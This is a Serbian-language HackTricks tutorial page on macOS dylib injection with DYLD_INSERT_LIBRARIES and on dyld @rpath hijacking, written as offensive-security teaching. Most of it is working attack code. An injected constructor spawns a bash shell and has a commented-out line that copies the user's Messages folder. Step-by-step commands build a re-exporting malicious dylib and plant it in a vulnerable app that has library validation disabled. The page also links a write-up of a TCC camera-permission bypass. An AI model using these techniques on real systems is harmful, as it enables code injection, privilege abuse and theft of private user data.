hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md

# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES

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## DYLD\_INSERT\_LIBRARIES Osnovni primer

**Biblioteka za ubacivanje** radi izvršavanja shell-a:
```c
// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Binarni fajl za napad:
```c
// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}
```
Ubacivanje:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Primer Dyld preuzimanja kontrole

Ciljani ranjivi binarni fajl je `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.

{% tabs %}
{% tab title="entitlements" %}
<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>
{% endtab %}

{% tab title="LC_RPATH" %}
{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{% endcode %}
{% endtab %}

{% tab title="@rpath" %}
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan  1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{% code %}
{% endcode %}
{% endtab %}
{% endtabs %}

Sa prethodnim informacijama znamo da **ne proverava potpis učitanih biblioteka** i pokušava da učita biblioteku sa:

* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`

Međutim, prva ne postoji:
```bash
pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
Dakle, moguće je preuzeti kontrolu nad tim! Kreirajte biblioteku koja **izvršava proizvoljni kod i izvozi iste funkcionalnosti** kao i legitimna biblioteka ponovnim izvozom. I ne zaboravite da je kompajlirate sa očekivanim verzijama:

{% code title="lib.m" %}
```objectivec
#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
{% endcode %}

Kompajlirajte ga:

{% code overflow="wrap" %}
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
{% endcode %}

Putanja reizvoza koju je stvorila biblioteka je relativna u odnosu na učitavač, promenimo je u apsolutnu putanju do biblioteke za izvoz:

{% code overflow="wrap" %}
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
{% endcode %}

Na kraju samo kopirajte ga na **preuzetu lokaciju**:

{% code overflow="wrap" %}
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}

I **izvršite** binarnu datoteku i proverite da li je **biblioteka učitana**:

<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Usage: [...]
</code></pre>

{% hint style="info" %}
Lepo objašnjenje o tome kako iskoristiti ovu ranjivost kako bi se zloupotrebila dozvola kamere u Telegramu može se naći na [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
{% endhint %}

## Veći obim

Ako planirate da pokušate da ubacite biblioteke u neočekivane binarne datoteke, možete proveriti poruke događaja da biste saznali kada je biblioteka učitana unutar procesa (u ovom slučaju uklonite printf i izvršavanje `/bin/bash`).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
<details>

<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

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* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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</details>